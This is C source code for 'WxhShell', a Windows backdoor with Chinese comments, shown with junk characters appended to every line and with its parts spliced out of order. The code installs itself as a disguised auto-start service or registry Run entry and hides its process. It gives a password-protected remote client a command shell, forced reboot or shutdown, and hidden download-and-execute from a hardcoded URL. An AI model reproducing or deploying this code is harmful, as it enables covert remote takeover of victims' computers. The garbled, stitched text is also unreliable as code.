  // 关机 Ib0@,yS[  
  case 'd': { c~{)vL0K  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 992cy2,Fb  
    if(Boot(SHUTDOWN)) WcKL=Z?(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); afj[HJbY  
    else { t^(wbC  
    closesocket(wsh); ^.(i!BG'  
    ExitThread(0); ^y3snuLtE  
    } +4m~D`fqt[  
    break; 'U'Y[*m@  
    } }?=4pGsI  
  // 获取shell ~{f[X3m^  
  case 's': { h . R bdG  
    CmdShell(wsh); =aJb}X  
    closesocket(wsh); -aF\ u[b  
    ExitThread(0); B&4NdL/  
    break; 9xIz[`)i.  
  } ("ulL5  
  // 退出 ff.;6R\  
  case 'x': { I9E]zoj8  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SZm&2~|J  
    CloseIt(wsh); 8@d,TjJDo  
    break; /Q2{w >^DK  
    } EHcgWlT u  
  // 离开 6YpP/ K  
  case 'q': { 7W `gN[*  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .lIkJQ3d  
    closesocket(wsh); H\@@iK=  
    WSACleanup(); iBy &#^  
    exit(1); @#KZ2^  
    break; <jHo2U8/"s  
        } ~91) DNaE  
  } XonI   
  } B3-;]6  
DXc3u^ L  
  // 提示信息 !%Qm{R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &kNJ s{  
} :/941?%M  
  } eBxOa  
1 8kzR6(W  
  return; R[_UbN 28  
} G$!JJ. )d  
zd^QG  
// shell模块句柄 ,pMH`  
int CmdShell(SOCKET sock) ds D!)$  
{ c(G;O )ikS  
STARTUPINFO si; KiO1l{.s8n  
ZeroMemory(&si,sizeof(si)); 8sGaq [  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *:hHlH* t1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5p`.RWls  
PROCESS_INFORMATION ProcessInfo; D_)n\(3  
char cmdline[]="cmd"; YQ#o3 sjs  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @"gWv s  
  return 0; $l<(*,,l  
} kqyPb$Wy  
tv8}O([  
// 自身启动模式 k^v P|*eu  
int StartFromService(void) ?^z.WQ|f@  
{ E4dN,^_ F!  
typedef struct '+*{u]\  
{ 1.y|bB+kB  
  DWORD ExitStatus; K`#bLCXEV0  
  DWORD PebBaseAddress; :{ Q[kYj  
  DWORD AffinityMask; ";$rcg"%X  
  DWORD BasePriority; qZ|>{^a*  
  ULONG UniqueProcessId; @ob4y  
  ULONG InheritedFromUniqueProcessId;  (zL(  
}   PROCESS_BASIC_INFORMATION; }[m,HA<j  
tNbZ{=I>  
PROCNTQSIP NtQueryInformationProcess; v6q oH)n  
z6f N)kw  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; szW85{<+  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; u AmDXqJ 3  
BT8L'qEj  
  HANDLE             hProcess; >V1v.JH  
  PROCESS_BASIC_INFORMATION pbi; ae`6hW2  
,z+7rl  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); X23#y7:  
  if(NULL == hInst ) return 0; -VVJf5/  
%an&lcoX  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); N% W298  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x\MzMQ#Bf  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); E+xC1U 3  
HbXYinG%  
  if (!NtQueryInformationProcess) return 0; p&|:,|jo5  
ytg' {)  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); JXA!l ?%  
  if(!hProcess) return 0; !<2%N3l  
Mp`2[S@$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TowRY=#jiS  
! >l)*jN8  
  CloseHandle(hProcess); N(@B3%H2/J  
#`(-Oj2hH  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); MX\v2["FoV  
if(hProcess==NULL) return 0; zv}3Sl@  
3}lT"K  
HMODULE hMod; :kz"W ya.  
char procName[255]; ;+-M+9"?O  
unsigned long cbNeeded; *8?0vkZZ2  
J;AwC>N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @0{vA\  
=2rkaBFC  
  CloseHandle(hProcess); 1?}5.*j<  
ltH?Ew<]  
if(strstr(procName,"services")) return 1; // 以服务启动 ?ot7_vl  
-SGo E=  
  return 0; // 注册表启动 o,yP9~8\  
} 1o*eu&@  
c&AJFED]<  
// 主模块 \2Atm,#4  
int StartWxhshell(LPSTR lpCmdLine) xYUC|c1Q9  
{ XzF-g*e  
  SOCKET wsl; k9Xv@v  
BOOL val=TRUE; F&= X/  
  int port=0;  wq@{85  
  struct sockaddr_in door; _)U[c;^6  
U&}v1wdZ3  
  if(wscfg.ws_autoins) Install(); VQ,;~^Td  
8n1<nS<  
port=atoi(lpCmdLine); V+'C71-P  
DN%b!K:  
if(port<=0) port=wscfg.ws_port; pni*#W*n  
@W+m;4HH  
  WSADATA data; oFC]L1HN&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; @P@j9yR  
]W9{<+&  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aIXN wnq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); HJ]9e  
  door.sin_family = AF_INET; b|KlWt'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #D2.RN  
  door.sin_port = htons(port); Y"dUxv1Ap  
X}@'FxIF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 4u.Fy<+@4M  
closesocket(wsl); &}q;,"  
return 1; 6*u WRjt  
} Z;qgB7-M  
]8;2Oh   
  if(listen(wsl,2) == INVALID_SOCKET) { 9ER!K  
closesocket(wsl); A0f98 ?j^  
return 1; p}:"@6  
} {`>;I  
  Wxhshell(wsl); @7j$$  
  WSACleanup(); sJ !<qb5!  
.WV5Gf)  
return 0; %c"t`  
nA)KRCi  
} LZ 3PQL  
a58]#L~  
// 以NT服务方式启动 5H!6 #pqM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LeT OVgjA|  
{ $(=0J*ND"  
DWORD   status = 0; xb22 :  
  DWORD   specificError = 0xfffffff; EK=PY  
7q;wj~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; u>y/<9]q8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1>IA9]D7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; z3mo2e  
  serviceStatus.dwWin32ExitCode     = 0; S+* g  
  serviceStatus.dwServiceSpecificExitCode = 0; ZK p9k6  
  serviceStatus.dwCheckPoint       = 0; T5gL  
  serviceStatus.dwWaitHint       = 0; EjDr   
?Tr\r1s]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); D%%@+3a  
  if (hServiceStatusHandle==0) return; D]StDOmM  
"t!_b ma  
status = GetLastError(); Gj ka %  
  if (status!=NO_ERROR) ! 0DOj["  
{ MLk%U 4  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lKyeG(  
    serviceStatus.dwCheckPoint       = 0; =_:Mx'7  
    serviceStatus.dwWaitHint       = 0; (BG wBL  
    serviceStatus.dwWin32ExitCode     = status; >= VCKN2'j  
    serviceStatus.dwServiceSpecificExitCode = specificError; vZJu =t  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I/`\>Hk  
    return; *ud/'HR8]  
  } t8_i[Hw6D  
RJ0:O   
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; k,0lA#>  
  serviceStatus.dwCheckPoint       = 0; L_{gM`UFc  
  serviceStatus.dwWaitHint       = 0; g* DBW,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); N`xXH  
} 746['sf4c  
1h,m  
// 处理NT服务事件,比如:启动、停止 t*dd/a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d: {#Dk#  
{ U0fr\kM  
switch(fdwControl) z5q(  
{ c)B <d#  
case SERVICE_CONTROL_STOP: 9JBVG~m+  
  serviceStatus.dwWin32ExitCode = 0; 25wvB@0&  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; >uy(N  
  serviceStatus.dwCheckPoint   = 0; ;/s##7qf  
  serviceStatus.dwWaitHint     = 0; &wea]./B  
  { Q35jJQ$<`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3"HX':8x  
  }  \s^4f#  
  return; jk9/EmV*r  
case SERVICE_CONTROL_PAUSE: cOrFe;8-.  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GX,)~Syw*  
  break; =?oYEO7  
case SERVICE_CONTROL_CONTINUE: 3`U^sr:[%  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; }]!?t~5*  
  break; :vo#(  
case SERVICE_CONTROL_INTERROGATE: *DS>#x@3*i  
  break; 8Luw< Q  
}; ,WgEl4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); >4iVVs  
} aYrbB#  
6)j/"9oY  
// 标准应用程序主函数 qfS ]vc_N  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) *)xjMTJ%  
{ dQ`=CIr  
O;H|nW}  
// 获取操作系统版本 r$<4_*  
OsIsNt=GetOsVer(); rfH Az  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1|/-Ff"1@  
F|! ib5  
  // 从命令行安装 F7lzc)  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0*F<tg,+]  
'd |*n#Dqc  
  // 下载执行文件 q:vc ;y  
if(wscfg.ws_downexe) { W`gzMx  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .g8db d  
  WinExec(wscfg.ws_filenam,SW_HIDE); r";;Fk#5  
} y|2y! &o,!  
@l %x;`E  
if(!OsIsNt) { y\@INA^  
// 如果时win9x,隐藏进程并且设置为注册表启动 1T/ 72+R0  
HideProc(); r"bV{v  
StartWxhshell(lpCmdLine); 4ztU) 1  
} \Jm^XXgS  
else >})W5Y+  
  if(StartFromService()) (pT 7m  
  // 以服务方式启动 r9y(j z  
  StartServiceCtrlDispatcher(DispatchTable); @D+2dT0[M  
else gvCQ![  
  // 普通方式启动 y$`@QRW  
  StartWxhshell(lpCmdLine); Y wu > k  
:`<ME/"YE  
return 0; o3,}X@p  
} \SyG#.$  
Y"UB\_=  
u=f}t=3  
K(75)/  
=========================================== |$G|M=*LN  
FfpP<(4  
eiJ~1H X)  
{jOV8SVL  
GFfZ TA  
3fd?xhWbN  
" 7;3;8Q FX  
$9rQ w1#e  
#include <stdio.h> D]NJ ^.X  
#include <string.h> k4+Q$3"  
#include <windows.h> Ux+UcBKm-  
#include <winsock2.h> 9 `T2  
#include <winsvc.h> qLa6c2o,  
#include <urlmon.h> yP0XA=,Y  
0+3{fD/  
#pragma comment (lib, "Ws2_32.lib") 6)[gF 1  
#pragma comment (lib, "urlmon.lib") u}eLf'^ZCe  
#j4jZBOTM  
#define MAX_USER   100 // 最大客户端连接数 G^2%F5@  
#define BUF_SOCK   200 // sock buffer ZIs=%6""&  
#define KEY_BUFF   255 // 输入 buffer Apbgm[m|{  
RhD   
#define REBOOT     0   // 重启 z#Db~  
#define SHUTDOWN   1   // 关机 |"i"8~/@<  
0@/C5 v  
#define DEF_PORT   5000 // 监听端口 rq![a};~  
mIah[~G  
#define REG_LEN     16   // 注册表键长度 cxpG6c  
#define SVC_LEN     80   // NT服务名长度 -s&7zqW  
^k5#{?I  
// 从dll定义API x9i^ _3Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); TxvvCV^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  >B$J  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $5N\sdyZxg  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Y_,Tm  
tf4clzSTa  
// wxhshell配置信息 ]:}x 4O#  
struct WSCFG { 6oy[0hj  
  int ws_port;         // 监听端口 /0(c-Dv  
  char ws_passstr[REG_LEN]; // 口令 BNq6dz$J  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5 Mz6/&`  
  char ws_regname[REG_LEN]; // 注册表键名 vE C#W43l  
  char ws_svcname[REG_LEN]; // 服务名 .Zm de*b  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *^i"q\n5(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1HBWOV7z.?  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 fir#5,*q|  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W-<`Vo'  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" (o518fmR  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 +6Ye'IOG  
9"cyZO  
}; a Juv{  
9O|k|FD  
// default Wxhshell configuration yII+#?D  
struct WSCFG wscfg={DEF_PORT, (7w95xI  
    "xuhuanlingzhe", nQ08(8  
    1, N4$ K {  
    "Wxhshell", Ls/*&u  
    "Wxhshell", PasVfC@  
            "WxhShell Service", C"R}_C|r)*  
    "Wrsky Windows CmdShell Service", &x)nK  
    "Please Input Your Password: ", >9,:i)m_  
  1, 0S&C[I o6  
  "http://www.wrsky.com/wxhshell.exe", K96N{"{iI%  
  "Wxhshell.exe" vf?Xt  
    }; />2zKF?  
to(lE2`.da  
// 消息定义模块 IubzHf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _71&".A  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Q=t_m(:0  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; oQK,#>rv  
char *msg_ws_ext="\n\rExit."; E'^ny4gL  
char *msg_ws_end="\n\rQuit."; 8u7QF4 Id  
char *msg_ws_boot="\n\rReboot..."; 9gac7(2`)  
char *msg_ws_poff="\n\rShutdown..."; He1~27+99  
char *msg_ws_down="\n\rSave to "; 3hfv^H  
5,9cD`WR^  
char *msg_ws_err="\n\rErr!"; \]0+J  
char *msg_ws_ok="\n\rOK!"; =}'7}0M_=  
K&BaGrR  
char ExeFile[MAX_PATH]; R{UZCFZ  
int nUser = 0; Zx^R-9  
HANDLE handles[MAX_USER]; cp2a @  
int OsIsNt; *0x!C8*`Xe  
=55V<VI  
SERVICE_STATUS       serviceStatus; 2hY"bpGW   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; k_`YVsEYP  
qAi:F=> X  
// 函数声明 4"#F =f0  
int Install(void); z?WkHQ9  
int Uninstall(void); \|6Q]3l  
int DownloadFile(char *sURL, SOCKET wsh); K6s tkDhb  
int Boot(int flag); 8^!ib/@v"  
void HideProc(void); 1pP q)}=+  
int GetOsVer(void); !*PX -  
int Wxhshell(SOCKET wsl); emIF{oP  
void TalkWithClient(void *cs); ubQr[/  
int CmdShell(SOCKET sock); EOXuc9>G  
int StartFromService(void); @./ @"mR<  
int StartWxhshell(LPSTR lpCmdLine); *0Wkz'=U  
MUUhg  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ?N]G;%3/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W/.Wp|C}K3  
2/ejU,S  
// 数据结构和表定义 |y&vMx~t  
SERVICE_TABLE_ENTRY DispatchTable[] = "qoJIwl#q  
{ <`Qb b=*  
{wscfg.ws_svcname, NTServiceMain}, aB{OXU}#  
{NULL, NULL} 3j2d&*0  
}; 8i Ew;I_  
wcW7k(+0  
// 自我安装 s){R/2O3F  
int Install(void)  K0Lc~n/  
{ `d4;T|f+=  
  char svExeFile[MAX_PATH]; 3`Dyrj#!  
  HKEY key; {7.uwIW.1  
  strcpy(svExeFile,ExeFile); c=aVYQ"2  
HpS1(%d"  
// 如果是win9x系统,修改注册表设为自启动 ,15$$3z/E  
if(!OsIsNt) { zS '{F>w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ! q+>'Mt  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ;iz3Bf1o  
  RegCloseKey(key); zC`ediyu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e#@u&+K/f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); irMBd8WG  
  RegCloseKey(key); Ct]? /  
  return 0; j-v/;7s/B  
    } Sg1 ,9[pb  
  } m}t`43}QE  
} Q}uh`?t  
else { wsgT`M'J[  
Yu:($//w  
// 如果是NT以上系统,安装为系统服务 o(D6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n<Ki.;-ZE  
if (schSCManager!=0)  rB_ESNx  
{ Mo\nY5  
  SC_HANDLE schService = CreateService ([]\7}+8  
  ( gB0Q0d3\G,  
  schSCManager, 5uU{!JuSa  
  wscfg.ws_svcname, E//*bmww  
  wscfg.ws_svcdisp, 6>b'g ~I  
  SERVICE_ALL_ACCESS, +1Pu29B0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G$s=P  
  SERVICE_AUTO_START, g_?bWm4br  
  SERVICE_ERROR_NORMAL, ,irc=0M(  
  svExeFile, lM.k *`$  
  NULL, $YK~7!!  
  NULL, !X 0 (4^  
  NULL, zKGr(9I  
  NULL, -v=tM6  
  NULL |T{ZDJ+  
  ); *}Rd%'  
  if (schService!=0) n"<'F4r  
  { X [;n149o  
  CloseServiceHandle(schService); Tvw(S q};  
  CloseServiceHandle(schSCManager); \3whM6tK  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 0 gr#<(  
  strcat(svExeFile,wscfg.ws_svcname); c[EG cY={  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { h8P_/.+g|V  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4g?qKoc i  
  RegCloseKey(key); 8xHjdQr  
  return 0; }R`}Ey|{  
    } '8b=4mrbH  
  } _#w5hX cu  
  CloseServiceHandle(schSCManager); ^ ?T,>ZI  
} Q`UgtL  
} Nrc-@ ]  
>Vb V<ak  
return 1; ihIRB9  
} \{1Vjo  
A&_v:z4y/  
// 自我卸载 Pcr;+'q  
int Uninstall(void)  9 'IDbe{  
{ ^@]yiED{g  
  HKEY key; #Q%0y^s  
cd$,,  
if(!OsIsNt) { }TU2o3Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { o+?Ko=vYw  
  RegDeleteValue(key,wscfg.ws_regname); IXsOTBM  
  RegCloseKey(key); "~T06!F45  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <"`P;,S  
  RegDeleteValue(key,wscfg.ws_regname); !&o>zU.  
  RegCloseKey(key); =A; 79@bY  
  return 0; I2C1mV  
  } 5S4`.'  
} >|JMvbje  
} sE0,b  
else { O9Yk5b;  
L'a>D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); j{P3o<l&`  
if (schSCManager!=0) 0vM,2:kf*  
{ ;+Mr|vweTC  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !}HT&N8[r  
  if (schService!=0) bfA9aT  
  { 2^&5D,}0  
  if(DeleteService(schService)!=0) { Zh_ P  
  CloseServiceHandle(schService); #4!6pMW(&7  
  CloseServiceHandle(schSCManager); 0WAOA6 _x  
  return 0; BF]+fs`  
  } k? =_p6>  
  CloseServiceHandle(schService); G_?qY#"(  
  } 'deqF|Iox  
  CloseServiceHandle(schSCManager); zuvP\Y=V`  
} PSa"u5O  
} n/IDq$/P  
r-o6I:y  
return 1; !Ly1!;<  
} j,#R?Ig  
7,3v,N|  
// 从指定url下载文件 IF|%.%I$!U  
int DownloadFile(char *sURL, SOCKET wsh) x[2eA!NC  
{ S]biN]+7s  
  HRESULT hr; 9|//_4]  
char seps[]= "/"; Q3x.qz  
char *token; 2LH.If  
char *file; #NWc<Dd  
char myURL[MAX_PATH]; /f -\ 3  
char myFILE[MAX_PATH]; JC4Z^/\.  
}C&kzJBEF  
strcpy(myURL,sURL); +K[H! fD  
  token=strtok(myURL,seps); j(\jYH>   
  while(token!=NULL) SL>0_  
  { ^ v@& q  
    file=token; U+g<lgH1J  
  token=strtok(NULL,seps); vjD||!g'  
  } !,PoH  
a5%IjgQ&z  
GetCurrentDirectory(MAX_PATH,myFILE); T8a!"lPP7  
strcat(myFILE, "\\"); (1Ii86EP  
strcat(myFILE, file); R~(_m#6`:  
  send(wsh,myFILE,strlen(myFILE),0); uJ/ &!q<3  
send(wsh,"...",3,0); Cg&cz]*q|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ^ZO3:"t!w  
  if(hr==S_OK) %R1$M318  
return 0; R8R,!3 N  
else gNzamorv[  
return 1; \+sP<'~M  
:KJZo,\  
} N^K@$bs4^  
Hsz).u  
// 系统电源模块 A+F@JpV  
int Boot(int flag) XxE>KeP  
{ n7K\\|X  
  HANDLE hToken; W=T,hOyh<W  
  TOKEN_PRIVILEGES tkp; HCKj8-*  
Oe}6jcb6&  
  if(OsIsNt) { /|{~GD +A&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9`sIE_%+  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); .(2ui~ed  
    tkp.PrivilegeCount = 1; $qj||zA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Md,KW#  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~gvw6e*[  
if(flag==REBOOT) { {F+iL&e)  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n:[GK_  
  return 0; rui]_Fn]I  
} -dsE9)&8DX  
else { ]AzDkKj  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .[4Dv t|>6  
  return 0; F^|4nBd*ub  
} 6)~J5Fb  
  } \)n'Ywr  
  else { }N<> z  
if(flag==REBOOT) { G8_|w6  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) . 'rC'FT  
  return 0; SV96eYT<  
} vS'5Lm  
else { ,\n%e'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) A&6qt  
  return 0; \4|o5,+(@  
} |cUBS)[)X  
} iZ-"l3) D  
|VD}:  
return 1; > H(o=39s  
} vL"[7'  
fbK`A?5K  
// win9x进程隐藏模块 ON<X1eU  
void HideProc(void) OAXF=V F#  
{ vtVc^j4  
b^]@8I[M  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); L@HWm;aN  
  if ( hKernel != NULL ) n:wZL&ZV0  
  { Gt;59}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 11 >K\"K}  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); * >XmJ6w  
    FreeLibrary(hKernel); oaJnLd90W  
  } c$HZvv  
s5'So@L8  
return; 6:vdo~  
} Xm! ;  
WMLsKoby  
// 获取操作系统版本 i5 F9*  
int GetOsVer(void) R87e"m/C%  
{ B> LL *  
  OSVERSIONINFO winfo; H o;bgva  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fer~NlX  
  GetVersionEx(&winfo); o7W1sD1O  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) \6U$kMGde  
  return 1; >AT T<U=  
  else V;#bcr=Z<J  
  return 0; sjj*7i*  
} e2PM^1{_  
`vPc&.-K  
// 客户端句柄模块 u9}k^W)E  
int Wxhshell(SOCKET wsl) 'P^6H$0  
{ %>G(2)Fb\\  
  SOCKET wsh; ;,yjkD[mWE  
  struct sockaddr_in client; _ X* A  
  DWORD myID; L'?0*t  
R2[-Q"|Ra  
  while(nUser<MAX_USER) u \zP`Y  
{ hqKftk)+  
  int nSize=sizeof(client); (\M&Q-xZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZNEWUt{+;^  
  if(wsh==INVALID_SOCKET) return 1; ~Z#jIG<?g  
g/ict 2!  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9cm9;  
if(handles[nUser]==0) 5#v|t\ {  
  closesocket(wsh); C`0;  
else M@/Hd0$  
  nUser++; (;@\gRL  
  } LiF(#OuZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); s;;"^5B.  
T$ )dc^  
  return 0; _v9P0W^.7  
} ZRd,V~iz  
V@"Y"}4n4  
// 关闭 socket Z1gZn)7  
void CloseIt(SOCKET wsh) -}Iw!p#O3  
{ /=bg(?nX  
closesocket(wsh); CI )89`  
nUser--; k7gm)}RKcu  
ExitThread(0); DJmT]Q]o)  
} <+oTYPgD9  
9a*}&fL[  
// 客户端请求句柄 @N-P[.qL"  
void TalkWithClient(void *cs) ^<}eONa  
{ /M1 /  
/bd1Bi  
  SOCKET wsh=(SOCKET)cs; LPNJuz  
  char pwd[SVC_LEN]; _K?{DnTb  
  char cmd[KEY_BUFF]; W_E0+  
char chr[1]; [0(+E2/:2  
int i,j; a\Ond#1p  
d}.*hgk  
  while (nUser < MAX_USER) { jxU z-U-  
l?N|Gj;ZFZ  
if(wscfg.ws_passstr) { 7jZ=+2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zNs8yMnFr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); s]"NqwIPK  
  //ZeroMemory(pwd,KEY_BUFF); -Pr1 r  
      i=0; MyyNYZ  
  while(i<SVC_LEN) { VNmQ'EuV}2  
5IPZ;  
  // 设置超时 !Cpy )D(  
  fd_set FdRead; x@ZxV*T^  
  struct timeval TimeOut; kyFq  
  FD_ZERO(&FdRead); (0=e ,1 n  
  FD_SET(wsh,&FdRead); vncak  
  TimeOut.tv_sec=8; /@<&{_sybp  
  TimeOut.tv_usec=0; 'w8k*@cQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V u/{Hr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); C#r1zr6  
Y|NANjEAfm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s 9Y'MQo*  
  pwd=chr[0]; /2!Wy6 p  
  if(chr[0]==0xd || chr[0]==0xa) { 5VU 5kiCt  
  pwd=0; E8Jy!8/X9T  
  break; ?J<V-,i  
  } .FarKW  
  i++; l1&NU'WW  
    } ;w/|5 ;{A;  
NT^m.o~4  
  // 如果是非法用户,关闭 socket LB1AjNJ  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YQ&Ww|xe  
} 5p.vo"7  
KZ"&c~[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); <QUjhWxDb  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +ti_?gfx  
}W:Rg}v  
while(1) { H+oQ L(i|_  
t4RI%m\  
  ZeroMemory(cmd,KEY_BUFF); 1gA9h-'w  
Qd %U(|  
      // 自动支持客户端 telnet标准   w$X"E*~>8  
  j=0; DcO$&)Eb  
  while(j<KEY_BUFF) { }-ly'4=l  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #^+C k HX  
  cmd[j]=chr[0]; A{HP*x~t  
  if(chr[0]==0xa || chr[0]==0xd) { xH\#:DLY  
  cmd[j]=0; P;V$%r`yD  
  break; X#bK.WN$  
  } m+t<<5I[-  
  j++; ']N1OVw^vf  
    } -A?6)ggf.  
xp!M A  
  // 下载文件 56;^ NE4  
  if(strstr(cmd,"http://")) { :6 , `M,  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Z?Cl5o&l b  
  if(DownloadFile(cmd,wsh)) 1%v!8$  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PJ-EQ6W  
  else zz)[4G  
